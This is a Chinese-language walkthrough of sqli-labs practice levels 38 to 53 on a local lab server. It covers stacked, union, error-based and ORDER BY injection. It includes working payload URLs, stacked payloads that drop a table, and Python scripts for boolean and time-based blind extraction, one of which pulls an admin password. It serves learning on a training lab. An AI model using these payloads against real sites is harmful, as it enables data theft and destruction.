Less-38
从这一关开始其实就是堆叠注入,就是用分号连接两个不同的语句,然后执行这几条语句,进行增删改查,但是比赛中是不大会用的,但是对于这几个环境我还是偏向union注入所以我还是以union注入的方式显示
换了mysqli的连接方式,但是换汤不换药
直接单引号闭合就好了
http://192.168.100.103/sqlilabs/Less-38/?id=-1' union select 1,database(),3%23
报错尝试一下
http://192.168.100.103/sqlilabs/Less-38/?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23
Less-39
这个题直接注释掉后面的部分就好了
http://192.168.100.103/sqlilabs/Less-39/?id=-1 union select 1,database(),3%23
Less-40
普通的union注入就可以
http://192.168.100.103/sqlilabs/Less-40/?id=1234') union select 1,2,3%23
也可以尝试一下盲注
http://192.168.100.103/sqlilabs/Less-40/?id=1') and ascii(substr(database(),1,1))>114 %23
Less-41
union注入也可以,盲注也可以
union注入
http://192.168.100.103/sqlilabs/Less-41/?id=-1 union select 1,database(),3%23
盲注
http://192.168.100.105/sqlilabs/Less-41/?id=1 and ascii(substr(database(),1,1))>114 %23
Less-42
这个题目查看源码你会发现登陆页面的password是没有过滤好的,我么可以利用此处进行堆叠注入增加,我们可以利用这点直接删库
uname = 0ver
passwd = 123;drop table 0ver#
Less-43
跟上一题一样password没有过滤
只是查询的语句改变了,我么需要闭合括号
uname = 0ver
passwd = 123');drop table 0ver#
Less-44
跟上一题同样的思路,只是需要单引号闭合
uname = 0ver
passwd = 123';drop table 0ver#
Less-45
感觉跟43题没啥区别啊。。。
Less-46
从这一关开始正式进入order by注入
查看一下源码语句是这样的
$sql = "SELECT * FROM users ORDER BY $id";
order by利用的三种方式
1、直接添加注入语句 ?sort=(select ******)
2、利用一些函数,例如rand函数,?sort=rand(sql语句),而且此处rand(true)和rand(false)是不相同的。
3、利用and,例如?sort=1 and (加sql语句)
这一题目可以直借用报错注入
http://192.168.100.105/sqlilabs/Less-46/?sort=rand(updatexml(1,concat(0x7e,database(),0x7e),1))
也可以用盲注,利用表格最后一行去区分
import requests
import time
url = '''http://192.168.100.105/sqlilabs/Less-46/?sort=rand(ascii(substr((select database()),{_},1))>{__})
'''
database = ""
for i in range(1,9):
Min = 67
Max = 127
while abs(Max-Min)>1:
mid = (Min+Max)//2
payload = url.format(_=i,__=mid)
print payload
ans = requests.get(payload)
if '<td>superman</td><td>genious</td></tr></font></table>' in ans.content:
Min = mid
else:
Max = mid
database += chr(Max)
print database
Less-47
这一次的order by注入需要闭合单引号
来个报错注入
http://192.168.100.105/sqlilabs/Less-47/?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23
Less-48
跟46题一样的盲注。
Less-49
一直在尝试下面这两句话,发现一直没效果,奇了怪,自我感觉没问题。。。。
http://localhost/sql/Less-49/?sort=1' and rand(ascii(substr((select database()),1,1))>127)%23
http://localhost/sql/Less-49/?sort=1' and ascii(substr((select database()),1,1))>1%23
再来尝试一下时间盲注
import requests
import time
url = '''http://192.168.100.105/sqlilabs/Less-49/?sort=1' and if(((ascii(substr((select password from users where username="admin"),{_},1)))={__}),sleep(4),false) --+'''
flag = ""
for i in range(1,9):
for j in range(67,127):
payload = url.format(_=i,__=j)
try:
requests.get(payload,timeout=3)
except:
flag += chr(j)
print flag
break
直接出来结果,这尼玛什么操作。。
Less-50
这可以直接报错注入
http://192.168.100.105/sqlilabs/Less-50?sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1)
Less-51
单引号闭合报错注入
http://192.168.100.105/sqlilabs/Less-51?sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)%23
Less-52
同样直接盲注或者时间盲注都行,不需要单引号闭合没什么意义
Less-53
又是一道单引号闭合的题目,直接时间盲注就可以出来参考Less-49的脚本
小结
这一部分的题目让我了解到怎么对付order by注入,很有意义,个人最喜欢还是用rand函数的那种办法
但前面的堆叠注入就感觉意义不大。。。。